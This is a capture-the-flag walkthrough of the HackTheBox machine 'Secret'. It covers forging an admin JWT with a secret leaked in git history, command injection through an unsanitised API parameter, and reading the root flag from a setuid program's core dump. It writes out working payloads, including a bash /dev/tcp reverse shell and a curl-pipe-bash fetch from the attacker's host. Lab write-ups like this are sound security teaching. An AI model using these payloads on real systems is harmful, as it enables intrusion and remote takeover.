Secret from HackTheBox — Detailed Walkthrough

Pencer
InfoSec Write-ups
Published in
10 min readApr 21, 2022

--

Showing all the tools and techniques needed to complete the box.

Machine Information

Secret from HackTheBox

Secret is rated as an easy machine on HackTheBox. We start with a backup found on the website running on the box. In there we find a number of interesting files, which leads us to interacting with an API. Eventually we create a JSON Web Token and can perform remote code execution, which we use to get a reverse shell. Escalation to root involves further code review, this time of a c program found on the box. From that we find crashing the program allows us to see the contents of memory via a core-dump. And in there we can retrieve the root flag.

Skills required are a basic understanding of Java code. Skills learned are manipulating JSON Web Tokens and inspecting core-dumps for sensitive information.

Initial Recon

As always let’s start with Nmap:

Nmap scan of the box

Only three open ports, interestingly two of them are nginx. Let’s add the box IP to hosts file first:

┌──(root💀kali)-[~/htb/secret]
└─# echo "10.10.11.120 secret.htb" >> /etc/hosts

Website

Now have a look at the website on port 80:

Dumb docs website for documentation

Nothing much here, just a static site about documentation. Clicking the Live Demo button takes us here:

API found on the Secret box

We see an API which we will be interacting with later. Further down the main page we see a link to download the source code:

Link to download source code

Source Code Review

Let’s grab it and have a look:

┌──(root💀kali)-[~/htb/secret]
└─# wget http://secret.htb/download/files.zip
--2021-11-18 21:35:40-- http://secret.htb/download/files.zip
Resolving secret.htb (secret.htb)... 10.10.11.120
Connecting to secret.htb (secret.htb)|10.10.11.120|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 28849603 (28M) [application/zip]
Saving to: ‘files.zip’
files.zip 100%[================>] 27.51M 2.74MB/s in 9.8s
2021-11-18 21:35:50 (2.81 MB/s) - ‘files.zip’ saved [28849603/28849603]

┌──(root💀kali)-[~/htb/secret]
└─# unzip files.zip
Archive: files.zip
creating: local-web/
creating: local-web/node_modules/
creating: local-web/node_modules/get-stream/
inflating: local-web/node_modules/get-stream/buffer-stream.js
<SNIP>

┌──(root💀kali)-[~/htb/secret]
└─# cd local-web

┌──(root💀kali)-[~/htb/secret/local-web]
└─# ls -lsa
4 -rw-rw-r-- 1 root root 72 Sep 3 06:59 .env
4 drwxrwxr-x 8 root root 4096 Sep 8 19:33 .git
4 -rw-rw-r-- 1 root root 885 Sep 3 06:56 index.js
4 drwxrwxr-x 2 root root 4096 Aug 13 05:42 model
4 drwxrwxr-x 201 root root 4096 Aug 13 05:42 node_modules
4 -rw-rw-r-- 1 root root 491 Aug 13 05:42 package.json
68 -rw-rw-r-- 1 root root 69452 Aug 13 05:42 package-lock.json
4 drwxrwxr-x 4 root root 4096 Sep 3 06:54 public
4 drwxrwxr-x 2 root root 4096 Sep 3 07:32 routes
4 drwxrwxr-x 4 root root 4096 Aug 13 05:42 src
4 -rw-rw-r-- 1 root root 651 Aug 13 05:42 validations.js

In the local-web folder we see a lot of files. First one I looked at is .env:

┌──(root💀kali)-[~/htb/secret/local-web]
└─# cat .env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret

Not sure yet what that is for if anything but seems suspicious!

Looking at index.js we see a couple of interesting things:

Contents of index.js

There’s a file called auth used to set up the app called authRoute which looks to be an API endpoint we can connect to.

Looking at the auth.js file we see a register endpoint:

Contents auth.js

There’s also a login section which checks an account then creates a JSON Web Token (JWT) if valid:

Further contents of auth.js

There’s also a validation.js file which checks the registration and logins for user are valid. This is a good introduction to JWT if you need to read up some before getting too deep.

Interacting With API

With the information from the config files we now know how to try and create our own user:

Creating user via the API with missing email

Trying to register a user with just the name field returns a message to say email is required. Let’s try again and add a fake address:

Creating user via the API with missing password

That worked, we now get another message this time telling us to provide a password. Let’s try again with a password as well:

Creating user via the API with missing password

With the three required parameters provided we’ve created our user. Now we can try and login with it:

Authenticating with newly created user

More Code Review

This worked and as we saw in the config file a JWT has been returned for our user. After another review of the source code I found private.js in the routes folder:

┌──(root💀kali)-[~/htb/secret/local-web]
└─# cat routes/private.js
const router = require('express').Router();
const verifytoken = require('./verifytoken')
const User = require('../model/user');

router.get('/priv', verifytoken, (req, res) => {
// res.send(req.user)
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
res.json({
creds:{
role:"admin",
username:"theadmin",
desc : "welcome back admin,"
}
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})

This gives us another endpoint to try called /priv. Interestingly it shows us if we have the username theadmin and provide a valid token we have the admin role, otherwise we’re a normal user.

Later in the same file we see there’s an endpoint called /logs that will allow us to pass a parameter called file that isn’t sanitised if we are theadmin user:

router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;

if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})

So clearly we need to find a way to get a valid JWT for the theadmin user. First let’s try sending our own users token to the /priv endpoint we’ve just found:

┌──(root💀kali)-[~/htb/secret]
└─# curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTk2Y2RjZTQyNTczNjA0NWMyYjI5NTgiLCJuYW1lIjoicGVuY2VyIiwiZW1haWwiOiJwZW5jZXJAdGVzdC5jb20iLCJpYXQiOjE2MzcyNzMwOTN9.iVtsUPT-D-uHBCNnTIsRRAPyvLQSI5mIEvYqn9JJzLk'
{"role":{"role":"you are normal user","desc":"pencer"}}

With this authentication token we are able to interact with the priv API but as a normal user we can’t do a lot.

JWT Tool

We can decode the JWT using JWT_Tool, let’s get it:

Get latest version of jwt_tool

We pass it the JWT we received as our authenticated user:

Decoding the JWT to see contents

It’s decoded the token and shows us the payloads consisting of _id, name and email.

So looking back at what we’ve found so far. We know that to progress we need to find a way to generate a token for theadmin user. To do that we need a password, we found this earlier:

┌──(root💀kali)-[~/htb/secret/local-web]
└─# cat .env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret

GitTools

Which doesn’t work, but one thing we didn’t look at before is what’s in the .git folder contained in that original download. Let’s extract the contents of .git using GitTools:

Extracting contents of Git repository

It took a while to extract all the files but now we can look at the commits:

List of commits from Git file

We have six commits in the git repo. I searched for TOKEN_SECRET which we found before in the .env file of the main folder, and found something interesting:

Search for secrets in Git commits

Create theadmin JWT

We can use this secret and our existing user JWT we created earlier with jwt_tool to create ourselves a tampered token that works as theadmin:

Tampered token created

Remote Code Execution

With this new token we can use the /logs API we found earlier and authenticate as theadmin. This let’s us use that unsanitized parameter we saw in the source code. Let’s try and get the passwd file:

Grabbing the passwd file

It works and we see the contents of the passwd file. Of note is the user dasith. Let’s see which user we are on the server:

Checking user ID

Ok so we are the dasith user, let’s look in their home folder:

Looking in users home folder

User Flag

Might as well grab the user flag:

┌──(root💀kali)-[~/htb/secret]
└─# curl 'http://secret.htb/api/logs?file=;cat+/home/dasith/user.txt' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTk2Y2RjZTQyNTczNjA0NWMyYjI5NTgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InBlbmNlckB0ZXN0LmNvbSIsImlhdCI6MTYzNzI3MzA5M30.OBy7ffsMnK9IlG1uBm28X4aYbCMw4mgr3kZyFMXDGfE'
<SNIP>
c5d9aea30b9787de4c6776da13f5f57f

Reverse Shell

Now let’s get a reverse shell, we can use a simple one like this and put it in a shell file so we can execute it:

┌──(root💀kali)-[~/htb/secret]
└─# cat pencer_shell.sh
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.15.15/1338 0>&1'

Start a web server so we can pull that file across, also start a netcat listener to catch our shell. Now as before send as a parameter:

┌──(root💀kali)-[~/htb/secret]
└─# curl 'http://secret.htb/api/logs?file=;curl+http://10.10.15.15/pencer_shell.sh+|+bash' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTk2Y2RjZTQyNTczNjA0NWMyYjI5NTgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InBlbmNlckB0ZXN0LmNvbSIsImlhdCI6MTYzNzI3MzA5M30.OBy7ffsMnK9IlG1uBm28X4aYbCMw4mgr3kZyFMXDGfE'
{"killed":false,"code":1,"signal":null,"cmd":"git log --oneline ;curl http://10.10.15.15/pencer_shell.sh | bash"}

We see the file pulled from our web server:

┌──(root💀kali)-[~/htb/secret]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.120 - - [18/Nov/2021 22:11:37] "GET /pencer_shell.sh HTTP/1.1" 200 -

And then we see our shell is connected:

┌──(root💀kali)-[~/htb/secret]
└─# nc -lvvp 1337
listening on [any] 1337 ...
connect to [10.10.15.15] from secret.htb [10.10.11.120] 51496
bash: cannot set terminal process group (1116): Inappropriate ioctl for device
bash: no job control in this shell
dasith@secret:~/local-web$ id
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)

First let’s get a better shell:

dasith@secret:~/local-web$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
dasith@secret:~/local-web$ ^Z
zsh: suspended nc -lvvp 1337
┌──(root💀kali)-[~/htb/secret]
└─# stty raw -echo; fg
[1] + continued nc -lvvp 1337
dasith@secret:~/local-web$

Enumeration

With that sorted I had a look around, eventually finding a file called count that has the sticky bit set:

dasith@secret:~/local-web$ find / -type f -perm -u=s 2>/dev/null
<SNIP>
/opt/count

We can assume that is significant. If we look in the /opt folder we also find the source code for the count file:

dasith@secret:/opt$ ls -l
-rw-r--r-- 1 root root 3736 Oct 7 10:01 code.c
-rwsr-xr-x 1 root root 17824 Oct 7 10:03 count
-rw-r--r-- 1 root root 4622 Oct 7 10:04 valgrind.log

dasith@secret:~/local-web$ file /opt/count
/opt/count: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=615b7e12374cd1932161a6a9d9a737a63c7be09a, for GNU/Linux 3.2.0, not stripped

Let’s see what this file does:

dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]: y
Path: /tmp/output.txt

It asked for a source file, I gave it the root flag and it seems to be doing a character and word count on it. Saving the file doesn’t give me the source:

dasith@secret:/opt$ ls /tmp
output.txt
snap.lxd
tmux-1000
vmware-root_730-2999460803

dasith@secret:/opt$ cat /tmp/output.txt
Total characters = 33
Total words = 2
Total lines = 2

I just get the output save to a text file.

Coredump

Next we need to look through that source code to see if we can understand what the file does. It’s a long file, but the we can see it reads the file provided in to memory, where the number of characters and words are counted. The interesting part is near the end:

// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);

We can see what that allows here:

PR_SET_DUMPABLE (since Linux 2.3.20)
Set the state of the "dumpable" flag, which determines whether core dumps are
produced for the calling process upon delivery of a signal whose default behavior
is to produce a core dump.

Which means the program is setting the flag to write a coredump out to a file when it’s terminated. We can take advantage of this to get the contents of memory dumped to a file while the root.txt file is held in it.

Get a second shell connected using the same curl method as above. Then in shell 1 we run the count program again and read the root flag in:

dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]:

Crash Program

Leave it there at the save point and switch to the second shell, look at the processes running:

Looking at processes running on box

Kill the process for count:

dasith@secret:~/local-web$ kill 96020
kill 96020

Now unpack the coredump so we can look at it:

dasith@secret:/opt$ cd /var/crash

dasith@secret:/var/crash$ ls -l
-rw-r----- 1 root root 27203 Oct 6 18:01 _opt_count.0.crash
-rw-r----- 1 dasith dasith 28006 Nov 18 21:40 _opt_count.1000.crash
-rw-r----- 1 root root 24048 Oct 5 14:24 _opt_countzz.0.crash

dasith@secret:/var/crash$ mkdir /dev/shm/pencer

dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /dev/shm/pencer

dasith@secret:/var/crash$ cd /dev/shm/pencer

dasith@secret:/dev/shm/pencer$ ls
<SNIP>
CoreDump
<SNIP>

Root Flag

We can now use strings too look at the contents of the CoreDump file:

dasith@secret:/dev/shm/pencer$ strings CoreDump
strings CoreDump
<SNIP>
Enter source file/directory name:
%99s
Save results a file? [y/N]:
Path:
Could not open %s for writing
:*3$"
Save results a file? [y/N]: words = 2
Total lines = 2
/root/root.txt
ed72112dc7721f564f49b6846a2f0e22

The output is really long but you can spot the count file output within it and see the contents of the root flag that had been read in.

I thought that was pretty tricky for an easy box. I hope you enjoyed it.

See you next time.

If you liked this article please leave me a clap or two (it’s free!)

Twitter — https://twitter.com/pencer_io
Website — https://pencer.io

Originally published at https://pencer.io on April 21, 2022.

--

--

Eat. Sleep. Hack. Repeat. I like hacking. A lot of hacking. Mostly CTFs, but then other stuff too when I get round to it.